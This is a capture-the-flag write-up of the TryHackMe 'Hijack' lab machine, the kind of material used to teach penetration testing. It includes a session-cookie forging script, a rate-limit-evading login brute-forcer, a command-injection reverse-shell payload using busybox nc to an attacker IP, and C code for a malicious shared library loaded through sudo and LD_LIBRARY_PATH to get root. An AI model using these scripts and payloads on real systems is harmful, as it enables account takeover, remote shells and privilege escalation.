> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2023/hijack.md).

# Hijack

{% embed url="<https://tryhackme.com/room/hijack>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

## Recon

By scanning our target with Nmap, we can discover several open ports. Notable services are FTP on port 21, SSH on port 22, a web server on port 80, Microsoft Windows RPC on port 111 with multiple 4xxxx ports, and the NFS access control list on port 2049.

```
21/tcp    open  ftp      vsftpd 3.0.3
22/tcp    open  ssh      OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http     Apache httpd 2.4.18 ((Ubuntu))
111/tcp   open  rpcbind  2-4 (RPC #100000)
2049/tcp  open  nfs_acl  2-3 (RPC #100227)
33311/tcp open  mountd   1-3 (RPC #100005)
40915/tcp open  mountd   1-3 (RPC #100005)
43712/tcp open  nlockmgr 1-4 (RPC #100021)
45385/tcp open  mountd   1-3 (RPC #100005)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

```

<figure><img src="/files/ivFfw6oPSz6wIUn1P5a1" alt=""><figcaption></figcaption></figure>

After finishing the Nmap scan, we run a Gobuster scan to enumerate all possible files and directories.

<figure><img src="/files/88RZVdkYy7LlBceukmTL" alt=""><figcaption></figcaption></figure>

While the Gobuster scan is running, the website can be inspected manually. Four links are present, of which three are of interest, directing to an administration portal, a login page and a signup page.

<figure><img src="/files/Qh5nrbGM8jaqSd6bA6NZ" alt=""><figcaption></figcaption></figure>

Access to the administration page without proper permissions is denied.

<figure><img src="/files/DUT0mn9rFNJes4C9TY4p" alt=""><figcaption></figcaption></figure>

Next, we check out the login page. Providing a arbitrary user, we see that we are able to enumerate users since we received the message: `"No account found with that username.".`

<figure><img src="/files/t4WBvYH1KuQly1rDgpRf" alt=""><figcaption></figcaption></figure>

First, we try to access the page with the default credentials `admin:admin` and get a hit. The user is present, but the password used is not valid. Since we now have a user, referencing an administrator, we just need the password, right? The first attempt was a brute force via a little Python script using rockyou.txt as a wordlist. But after a short test, it was clear that this attempt might not lead to any results because a rate limiter was implemented, locking the attempted user for 300 seconds after five wrong password inputs.<br>

<figure><img src="/files/WQYetbfw3l7F3jnQWCeN" alt=""><figcaption></figcaption></figure>

## Foothold

So, the idea now is to gather more information; maybe a hint or credentials can be found at the FTP or NFS.

### NFS + FTP

The first attempt was made at the FTP with an anonymous login, but it did not work out. Access via `anonymous` is not possible. But there is also another service running that is similar to SMB, the NFS service. A short walkthrough can be found at HackTricks on how to enumerate and exploit NFS:

{% embed url="<https://book.hacktricks.xyz/network-services-pentesting/nfs-service-pentesting>" %}

To list all available folders the following command can be prompted.&#x20;

```
showmount -e hijack.thm
```

We see that a share is available:

<figure><img src="/files/UTZLvhED8yA09LFlSkF4" alt=""><figcaption></figcaption></figure>

Via mounting, the share can be accessed. Looking at the permission, it's owned by a user with the UID `1003` and is fully restricted to the user. Since our current user does not have that UID we cannot do anything with the share.

```
mount -t nfs <ip>:<remote_folder> <local_folder> -o nolock
```

<figure><img src="/files/8Ud48oKIrwHnEuwYGw9y" alt=""><figcaption></figcaption></figure>

But it is possible to access the share by creating a user on the machine we own with the UID to access the share:

<figure><img src="/files/ioUc6QubG0kOkkHr8VQS" alt=""><figcaption></figcaption></figure>

After adding the use, we are able to access the share and see a note called `for_employees.txt`. In the file, the credentials of the FTP user can be found: `ftpuser:[REDACTED]`

<figure><img src="/files/AIrwTuanYSuTimuPiz7m" alt=""><figcaption></figcaption></figure>

Via `wget` all content is recursively downloaded. We have a note from the admin informing the users to use the passwords from the `.password_list.txt`; those don't appear in other wordlists and are considered safe for that reason by the admin. He also uses a password from the list. Nice.\
&#x20;

```bash
wget -r --user="ftpuser" --password="REDACTED" ftp://hijack.thm/
```

<figure><img src="/files/Ui9pekIxMGjQ37WYMjBU" alt=""><figcaption></figcaption></figure>

### Sesssion Hijacking - The Intended Way

During the enumeration process, we created a test user `user:userpass123` to see what it could do on the platform. In fact, this user has no rights, but we see that a session cookie was created for the user after logging in.

<figure><img src="/files/Heb4IBhgugWtS3lHK1W6" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/8CmG2OrhWgbBPveTn1Q7" alt=""><figcaption></figcaption></figure>

On the first sight, we see that it is `base64` encoded. Decoding it via CyberChef reveals its plaintext structure. It's the name of the user and an MD5 hash concatenated with a colon.

<figure><img src="/files/55gbJkzoSdl3gMZMmiPb" alt=""><figcaption></figcaption></figure>

Hashing different kinds of combinations of username and password, we see that only the password gets hashed. With that information, we can build a Python script that is able to craft session cookies for the admin user with the help of the found password list, which will then be checked when accessing `administration.php`. This was the second successful approach; the first, also successful, was to brute force the login even though a rate limiter was implemented.&#x20;

<figure><img src="/files/uzSjk0Eat3X8ICKcdNmm" alt=""><figcaption></figcaption></figure>

{% code title="session\_hijack.py" lineNumbers="true" %}

```python
import requests
import re 
import hashlib
import base64

file_path = 'hijack.thm/.passwords_list.txt'  
passwords = []  
md5 = hashlib.md5()
_fail = r"Access denied"

with open(file_path, 'r') as file:
    for line in file:
        passwords.append(line.strip()) 
for password in passwords:

    hashed_password = hashlib.md5(str(password).encode('utf-8')).hexdigest()

    plain = "admin:" + hashed_password
    encoded_bytes = base64.b64encode(plain.encode('utf-8'))
    sessionid = encoded_bytes.decode('utf-8')

    headers = {
            'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Origin': 'http://hijack.thm',
            'Referer': 'http://hijack.thm/administration.php',
            'Cookie': 'PHPSESSID='+sessionid,
            'Upgrade-Insecure-Requests': '1'
    }
    url = 'http://hijack.thm/administration.php'

    response = requests.post(url, headers=headers)
    text = response.text
    fail = re.findall(_fail,text)
    if(len(fail) == 0):
        print("valid session found: " + sessionid)
```

{% endcode %}

<figure><img src="/files/15o7jCZi4fotpLztqr0w" alt=""><figcaption></figcaption></figure>

### Brute Forcing - The Unintended Way

This was the first successful attempt, which took a lot of time and is not recommended.

<figure><img src="/files/Nb44TjIIJTSEH7IfWWq5" alt=""><figcaption></figcaption></figure>

The script tries every password until the account is locked, and continues with the next password if the account gets unlocked again.

<figure><img src="/files/zUP12nZ2LuhJXcCTz4Tn" alt=""><figcaption></figcaption></figure>

{% code title="brute\_force.py" lineNumbers="true" %}

```python
import requests
import re 
import time

file_path = 'hijack.thm/.passwords_list.txt'
index = 0
seconds = 0
_exceeded = r"exceeded"
_fail = r"not valid"
lines = []  

with open(file_path, 'r') as file:
    for line in file:
        lines.append(line.strip()) 
while index < len(lines):
    
    headers = {
            'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/109.0',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
            'Accept-Language': 'en-US,en;q=0.5',
            'Accept-Encoding': 'gzip, deflate',
            'Content-Type': 'application/x-www-form-urlencoded',
            'Origin': 'http://hijack.thm',
            'Referer': 'http://hijack.thm/login.php',
            'Cookie': 'PHPSESSID=va4q1sfgcrdqfj9kr0c7ej7jv4',
            'Upgrade-Insecure-Requests': '1'
    }

        
    data = {
            'username': 'admin',
            'password': lines[index]
    }
    print("try password {0}", lines[index], end='\r')

    
    url = 'http://hijack.thm/login.php'

    
    response = requests.post(url, headers=headers, data=data)

    text = response.text
    exceeded = re.findall(_exceeded,text)
    fail = re.findall(_fail,text)
    if(len(exceeded) != 0):
        seconds += 1
        print("status exceeded " + lines[index] + "sec: " + str(seconds), end='\r')
    elif(len(fail) != 0):
        print("status wrong " + lines[index], end='\r')
        seconds = 0
        index +=1
    else:
        print("found valid password " + lines[index] + " at " + str(index))
        file_path = 'output.txt'  
        with open(file_path, 'w') as file:
        
           file.write("\n"+ lines[index] +"\n")
        break;
    time.sleep(1)
```

{% endcode %}

### Getting A Reverse Shell

After getting the session cookie or the credentials of the admin user, we are able to access the administration panel. There we have a status checker for services that looks like it could be vulnerable to command injection.

<figure><img src="/files/l6nUgQimcP5pT0f3DcwI" alt=""><figcaption></figcaption></figure>

And a simple test via command substitution shows that command injection is possible:

{% embed url="<https://tldp.org/LDP/abs/html/commandsub.html>" %}

<figure><img src="/files/z6cCeW03avEuaP2wanSE" alt=""><figcaption></figcaption></figure>

Next, we try several payloads from revshells.com. The following one worked flawlessly because none of the filtered characters were present.

```bash
$(busybox nc 10.9.31.94 4445 -e /bin/bash)
```

<figure><img src="/files/MdBNuUK86zPc7t89Ikao" alt=""><figcaption></figcaption></figure>

We connect, upgrade the shell and start enumerating the target as the user `www-data`.

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

on

The first move was to install linpeas. With linpeas credentials in `config.php` could be located.

<figure><img src="/files/vuMCbaYUorJ7C3Ws1chy" alt=""><figcaption></figcaption></figure>

## Privilege Escalation

In the `config.php` of the web application, we find the credentials of `rick` for MySQL. This user was also mentioned in the note from the admin and is also a user of the system locatable in `/etc/passwd`.

<div><figure><img src="/files/GMr2os4R0mVu331ALJHq" alt="" width="414"><figcaption></figcaption></figure> <figure><img src="/files/DmcY4QyozEv4aYAp97Lj" alt="" width="320"><figcaption></figcaption></figure></div>

### First Flag

Maybe those credentials were reused. We try to change the user with the found credentials, and we are able to switch to the user `rick`. In the home directory of rick we find the first flag.

<figure><img src="/files/jxp9C36J1HM1CEKsucW7" alt=""><figcaption></figcaption></figure>

### Second Flag

On enumerating the user rick, we see that Apache2 is executable via sudo by providing rick's password. And the **`LD_LIBRARY_PATH`,** which contains a list of directories that search for shared libraries first, is kept. This allows us to load a custom library, for example, containing code to run a shell to escalate privileges.<br>

> Programs running via sudo can inherit variables from the environment of the user. If the **env\_reset** option is set in the **/etc/sudoers** config file, sudo will run the programs in a new, minimal *environment*. The **env\_keep** option can be used to keep certain environment variables from the user’s environment. The configured options are displayed when running **sudo -l**.

{% embed url="<https://atom.hackstreetboys.ph/linux-privilege-escalation-environment-variables/>" %}

<figure><img src="/files/9u54mzGbRVNmJ5DCMlu0" alt=""><figcaption></figcaption></figure>

We print the shared libraries used by Apache2 and use one of the shared objects in the list to hijack it by creating a file with the same name.

<figure><img src="/files/XCtuAZx9j3X4WUuEWE1P" alt=""><figcaption></figcaption></figure>

Implement a short C program that replaces one of the listed libraries.

{% code title="hijack.c" lineNumbers="true" %}

```c
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
        unsetenv("LD_LIBRARY_PATH");
        setresuid(0,0,0);
        system("/bin/bash -p");
}
```

{% endcode %}

Next, we just have to compile it with the exact name, here `libcrypt.so.1.`

```bash
gcc -o /tmp/libcrypt.so.1 -shared -fPIC hijack.c
```

With the custom `libcrypt.so.1` at hand, we run the Apache2 command and set the **`LD_LIBRARY_PATH`** variable to the location of our library. After executing the command, we become root.<br>

```bash
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2
```

<figure><img src="/files/xjuAfeTKKoElJTOy2fS6" alt=""><figcaption></figcaption></figure>

Now we are able to reach the root's home directory and capture the last flag.

<figure><img src="/files/TkBjPFfiG0DLQMucGwwH" alt=""><figcaption></figcaption></figure>
